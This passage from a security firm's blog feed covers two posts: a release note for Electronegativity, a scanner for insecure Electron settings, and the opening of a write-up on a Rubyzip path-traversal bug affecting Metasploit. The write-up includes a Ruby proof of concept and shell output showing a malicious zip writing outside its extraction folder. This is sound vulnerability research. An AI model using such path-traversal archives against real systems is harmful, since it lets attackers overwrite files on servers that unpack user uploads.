&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;npm &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; @doyensec/electronegativity &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# or&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;npm update @doyensec/electronegativity &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To review your application, use the following command:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;electronegativity &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; /path/to/electron/app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;whats-new&quot;&gt;What’s New&lt;/h2&gt;

&lt;p&gt;Electronegativity 1.1.1 initially shipped with &lt;a href=&quot;https://blog.doyensec.com/2019/01/24/electronegativity.html&quot;&gt;27 unique checks&lt;/a&gt;. Now it counts over &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki#electronegativity-checks&quot;&gt;40 checks&lt;/a&gt;, featuring a new advanced check system to help improve the tool’s detection capabilities in sorting out false positive and false negative findings. 
Here is a brief list of what’s new in this 1.3.0 release:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Now every check has an importance and accuracy attribute which helps the auditor to determine the importance of each finding. Consequently, we also introduced some new command line flags to filter the results by severity (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--severity&lt;/code&gt;) and by confidence (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--confidence&lt;/code&gt;), useful for tailored Electronegativity integration in your application security pipelines or build systems.&lt;/li&gt;
  &lt;li&gt;We introduced a new class of checks called &lt;em&gt;GlobalChecks&lt;/em&gt; which can dynamically set the &lt;em&gt;severity&lt;/em&gt; and &lt;em&gt;confidence&lt;/em&gt; for the findings or create new ones considering the inherit security risk posed by their interaction (e.g. cross-checking the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegration&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandbox&lt;/code&gt; flags value or the presence of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;affinity&lt;/code&gt; flag used acrossed different windows).&lt;/li&gt;
  &lt;li&gt;Variable scoping analysis capabilities have been added to inspect the &lt;em&gt;Function&lt;/em&gt; and &lt;em&gt;Global&lt;/em&gt; variable content, when available.&lt;/li&gt;
  &lt;li&gt;A new single-check scan mode is now provided by passing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-l&lt;/code&gt; flag along with a list of enabled checks (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-l &quot;AuxClickJsCheck,AuxClickHtmlCheck&quot;&lt;/code&gt;). Another command line flag has been introduced to show relative paths for files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-r&lt;/code&gt;).&lt;/li&gt;
  &lt;li&gt;The newly introduced Electron’s component &lt;em&gt;&lt;a href=&quot;https://electronjs.org/docs/api/browser-view&quot;&gt;BrowserView&lt;/a&gt;&lt;/em&gt; is now supported, which is meant to be an alternative to the &lt;em&gt;&lt;a href=&quot;https://electronjs.org/docs/api/webview-tag&quot;&gt;WebView&lt;/a&gt;&lt;/em&gt; tag. The tool now also detects the use of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegrationInSubFrames&lt;/code&gt; experimental option for enabling NodeJS support in sub-frames (e.g. an iframe inside a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;webview&lt;/code&gt; object).&lt;/li&gt;
  &lt;li&gt;Various bug fixes and new checks! (see below)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;updated-checks&quot;&gt;Updated Checks&lt;/h3&gt;

&lt;p&gt;This new release also comes with new and updated checks. As always, a knowledge-base containing information around risk and auditing strategy has been created for each class of vulnerabilities.&lt;/p&gt;

&lt;h4 id=&quot;affinity-check&quot;&gt;Affinity Check&lt;/h4&gt;
&lt;p&gt;When specified, renderers with the same affinity will run in the same renderer process. Due to reusing the renderer process, certain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;webPreferences&lt;/code&gt; options will also be shared between the web pages even when you specified different values for them. This can lead to unexpected security configuration overrides:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/electron-affinity.png&quot; alt=&quot;Affinity Property Vulnerability&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the above &lt;a href=&quot;https://gist.github.com/0d928ee9ed95519859dda9dc7ffc1060&quot;&gt;demo&lt;/a&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;affinity&lt;/code&gt; set between the two &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrowserWindow&lt;/code&gt; objects will cause the unwanted share of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegration&lt;/code&gt; property value. Electronegativity will now issue a finding reporting the usage of this flag if present.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Read more on the dedicated &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/AFFINITY_GLOBAL_CHECK&quot;&gt;AFFINITY_GLOBAL_CHECK&lt;/a&gt; wiki page.&lt;/em&gt;&lt;/p&gt;

&lt;h4 id=&quot;allowpopups-check&quot;&gt;AllowPopups Check&lt;/h4&gt;
&lt;p&gt;When the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;allowpopups&lt;/code&gt; attribute is present, the guest page will be allowed to open new windows. Popups are disabled by default.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Read more on the &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/ALLOWPOPUPS_HTML_CHECK&quot;&gt;ALLOWPOPUPS_HTML_CHECK&lt;/a&gt; wiki page.&lt;/em&gt;&lt;/p&gt;

&lt;h4 id=&quot;missing-electron-security-patches-detection&quot;&gt;Missing Electron Security Patches Detection&lt;/h4&gt;
&lt;p&gt;This check detects if there are security patches available for the Electron version used by the target application. From this release we switched from manually updating a safe releases file to creating a routine which automatically fetches the latest releases from Electron’s official repository and determines if there are security patches available at each run.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Read more on the &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/AVAILABLE_SECURITY_FIXES_GLOBAL_CHECK&quot;&gt;AVAILABLE_SECURITY_FIXES_GLOBAL_CHECK&lt;/a&gt; and &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/ELECTRON_VERSION_JSON_CHECK&quot;&gt;ELECTRON_VERSION_JSON_CHECK&lt;/a&gt; wiki page.&lt;/em&gt;&lt;/p&gt;

&lt;h4 id=&quot;check-for-custom-command-line-arguments&quot;&gt;Check for Custom Command Line Arguments&lt;/h4&gt;
&lt;p&gt;This check will compare the custom command line arguments set in the &lt;em&gt;package.json&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scripts&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;configuration&lt;/code&gt; objects against a blacklist of dangerous arguments. The use of additional command line arguments can increase the application attack surface, disable security features or influence the overall security posture.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Read more on the &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/CUSTOM_ARGUMENTS_JSON_CHECK&quot;&gt;CUSTOM_ARGUMENTS_JSON_CHECK&lt;/a&gt; wiki page.&lt;/em&gt;&lt;/p&gt;

&lt;h4 id=&quot;csp-presence-check-and-review&quot;&gt;CSP Presence Check and Review&lt;/h4&gt;
&lt;p&gt;Electronegativity now checks if a Content Security Policy (CSP) is set as an additional layer of protection against cross-site-scripting attacks and data injection attacks. If a CSP is detected, it will look for weak directives by using a &lt;a href=&quot;https://www.npmjs.com/package/@doyensec/csp-evaluator&quot;&gt;new library&lt;/a&gt; based on the &lt;a href=&quot;https://csp-evaluator.withgoogle.com/&quot;&gt;csp-evaluator.withgoogle.com&lt;/a&gt; online tool.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Read more on the &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/CSP_GLOBAL_CHECK&quot;&gt;CSP_GLOBAL_CHECK&lt;/a&gt; wiki page.&lt;/em&gt;&lt;/p&gt;

&lt;h4 id=&quot;dangerous-js-functions-called-with-user-supplied-data&quot;&gt;Dangerous JS Functions called with user-supplied data&lt;/h4&gt;
&lt;p&gt;Looks for occurrences of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;insertCSS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;executeJavaScript&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Function&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setTimeout&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setInterval&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setImmediate&lt;/code&gt; with user-supplied input.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Read more on the &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/DANGEROUS_FUNCTIONS_JS_CHECK&quot;&gt;DANGEROUS_FUNCTIONS_JS_CHECK&lt;/a&gt; wiki page.&lt;/em&gt;&lt;/p&gt;

&lt;h4 id=&quot;check-for-mitigations-set-to-limit-the-navigation-flows&quot;&gt;Check for mitigations set to limit the navigation flows&lt;/h4&gt;
&lt;p&gt;Detects if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;on()&lt;/code&gt; handler for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;will-navigate&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new-window&lt;/code&gt; events is used. This setting can be used to limit the exploitability of certain issues. Not enforcing navigation limits leaves the Electron application under full control to remote origins in case of accidental navigation.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Read more on the &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/LIMIT_NAVIGATION_GLOBAL_CHECK&quot;&gt;LIMIT_NAVIGATION_GLOBAL_CHECK&lt;/a&gt; and &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/LIMIT_NAVIGATION_JS_CHECK&quot;&gt;LIMIT_NAVIGATION_JS_CHECK&lt;/a&gt; wiki pages&lt;/em&gt;.&lt;/p&gt;

&lt;h4 id=&quot;detects-if-electrons-security-warnings-have-been-disabled&quot;&gt;Detects if Electron’s security warnings have been disabled&lt;/h4&gt;
&lt;p&gt;The tool will check if Electron’s warnings and recommendations printed to the developer console have been force-disabled by the developer. Disabling this warning may hide the presence of misconfigurations or insecure patterns to the developers.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Read more on the &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/SECURITY_WARNINGS_DISABLED_JS_CHECK&quot;&gt;SECURITY_WARNINGS_DISABLED_JS_CHECK&lt;/a&gt; and &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/SECURITY_WARNINGS_DISABLED_JSON_CHECK&quot;&gt;SECURITY_WARNINGS_DISABLED_JSON_CHECK&lt;/a&gt; wiki pages&lt;/em&gt;.&lt;/p&gt;

&lt;h4 id=&quot;detects-if-setpermissionrequesthandler-is-missing-for-untrusted-origins&quot;&gt;Detects if setPermissionRequestHandler is missing for untrusted origins&lt;/h4&gt;
&lt;p&gt;Not enforcing custom checks for permission requests (e.g. media) leaves the Electron application under full control of the remote origin. For instance, a Cross-Site Scripting vulnerability can be used to access the browser media system and silently record audio/video. Because of this, Electronegativity will also check if a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setPermissionRequestHandler&lt;/code&gt; has been set.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Read more on the &lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/PERMISSION_REQUEST_HANDLER_GLOBAL_CHECK&quot;&gt;PERMISSION_REQUEST_HANDLER_GLOBAL_CHECK&lt;/a&gt; wiki page.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;…and more to come! If you are a developer, we encourage you to use Electronegativity to understand how these Electron’s security pitfalls affect your application and how to avoid them. We really believe that Electron deserves a strong security community behind and that creating the right and robust tools to help this community is the first step towards improving the whole Electron’s ecosystem security stance.&lt;/p&gt;

&lt;p&gt;As a final remark, we’d like to thank all past and present contributors to this tool: &lt;a href=&quot;https://twitter.com/lucacarettoni&quot;&gt;@ikkisoft&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/p4p3r&quot;&gt;@p4p3r&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/0xibram&quot;&gt;@0xibram&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/yarlob&quot;&gt;@yarlob&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/lorenzostella&quot;&gt;@lorenzostella&lt;/a&gt;, and ultimately &lt;a href=&quot;https://twitter.com/doyensec&quot;&gt;@Doyensec&lt;/a&gt; for sponsoring this release.&lt;/p&gt;

&lt;p&gt;See you in Vegas!&lt;/p&gt;

&lt;p&gt;@lorenzostella&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>On insecure zip handling, Rubyzip and Metasploit RCE (CVE-2019-5624)</title>
   <link href="https://blog.doyensec.com/2019/04/24/rubyzip-bug.html"/>
   <updated>2019-04-24T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2019/04/24/rubyzip-bug</id>
   <content type="html">&lt;p&gt;During one of our projects we had the opportunity to audit a Ruby-on-Rails (RoR) web application handling zip files using the &lt;a href=&quot;https://github.com/Rubyzip/Rubyzip&quot;&gt;Rubyzip&lt;/a&gt; gem. Zip files have always been an interesting entry-point to triggering multiple vulnerability types, including path traversals and symlink file overwrite attacks. As the library under testing had symlink processing disabled, we focused on path traversal exploitation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This blog post discusses our results, the “bug” discovered in the library itself and the implication of such an issue in a popular piece of software - &lt;a href=&quot;https://blog.rapid7.com/2019/04/19/metasploit-wrap-up-13/&quot;&gt;Metasploit&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;rubyzip-and-old-vulnerabilities&quot;&gt;Rubyzip and old vulnerabilities&lt;/h2&gt;

&lt;p&gt;The &lt;em&gt;Rubyzip&lt;/em&gt; gem has a long history of path traversal vulnerabilities (&lt;a href=&quot;https://github.com/Rubyzip/Rubyzip/issues/315&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://github.com/Rubyzip/Rubyzip/issues/369&quot;&gt;2&lt;/a&gt;) through malicious filenames. Particularly interesting was the code change in PR &lt;a href=&quot;https://github.com/Rubyzip/Rubyzip/pull/376&quot;&gt;#376&lt;/a&gt; where a different handling was implemented by the developers.&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Extracts entry to file dest_path (defaults to @name).&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# NB: The caller is responsible for making sure dest_path is safe, &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# if it is passed.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dest_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;nil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;block&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dest_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;nil?&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name_safe?&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;WARNING: skipped &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;vi&quot;&gt;@name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; as unsafe&quot;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Entry#name_safe&lt;/code&gt; is defined &lt;a href=&quot;https://github.com/Rubyzip/Rubyzip/blob/master/lib/zip/entry.rb#L112&quot;&gt;a few lines before&lt;/a&gt; as:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Is the name a relative path, free of `..` patterns that could lead to&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# path traversal attacks? This does NOT handle symlinks; if the path&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# contains symlinks, this check is NOT enough to guarantee safety.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;name_safe?&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cleanpath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Pathname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;vi&quot;&gt;@name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;cleanpath&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cleanpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;relative?&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;root&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SEPARATOR&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;naive_expanded_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cleanpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cleanpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;expand_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;naive_expanded_path&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the code above, if the destination path is passed to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Entry#extract&lt;/code&gt; function then it is not actually checked. A &lt;a href=&quot;https://github.com/Rubyzip/Rubyzip/blob/master/lib/zip/entry.rb#L160&quot;&gt;comment&lt;/a&gt; in the source code of that function highlights the user’s responsibility:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;# NB: The caller is responsible for making sure dest_path is safe, if it is passed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;While the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Entry#name_safe&lt;/code&gt; is a fair check against path traversals (and absolute paths), it is only executed when the function is called without arguments.&lt;/p&gt;

&lt;p&gt;In order to verify the library bug we generated a ZIP PoC using the old (and still good) &lt;a href=&quot;https://github.com/ptoomey3/evilarc&quot;&gt;evilarc&lt;/a&gt;, and extracted the malicious file using the following code:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'zip'&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;first_arg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;the_rest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ARGV&lt;/span&gt;

&lt;span class=&quot;no&quot;&gt;Zip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first_arg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Extracting &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; /tmp/file.txt
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt;: cannot access &lt;span class=&quot;s1&quot;&gt;'/tmp/file.txt'&lt;/span&gt;: No such file or directory
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;zipinfo absolutepath.zip 
Archive:  absolutepath.zip
Zip file size: 289 bytes, number of entries: 2
drwxr-xr-x  2.1 unx        0 bx stor 18-Jun-13 20:13 /tmp/
&lt;span class=&quot;nt&quot;&gt;-rw-r--r--&lt;/span&gt;  2.1 unx        5 bX defN 18-Jun-13 20:13 /tmp/file.txt
2 files, 5 bytes uncompressed, 7 bytes compressed:  &lt;span class=&quot;nt&quot;&gt;-40&lt;/span&gt;.0%
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ruby Rubyzip-poc.rb absolutepath.zip 
Extracting /tmp/
Extracting /tmp/file.txt
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; /tmp/file.txt
/tmp/file.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Resulting in a file being created in &lt;em&gt;/tmp/file.txt&lt;/em&gt;, which confirms the issue.&lt;/p&gt;

&lt;p&gt;As happened with our client, most developers might have upgraded to &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2018-1000544&quot;&gt;Rubyzip 1.2.2&lt;/a&gt; thinking it was safe to use without actually verifying how the library works or its specific usage in the codebase.&lt;/p&gt;

&lt;h2 id=&quot;it-would-have-been-vulnerable-anyway-_ツ_&quot;&gt;It would have been vulnerable anyway &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;¯\_(ツ)_/¯&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;In the context of our web application, the user-supplied zip was decompressed through the following (pseudo) code:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;unzip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;uuid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_uuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# 0. create a 'Pathname' object with the new uuid&lt;/span&gt;
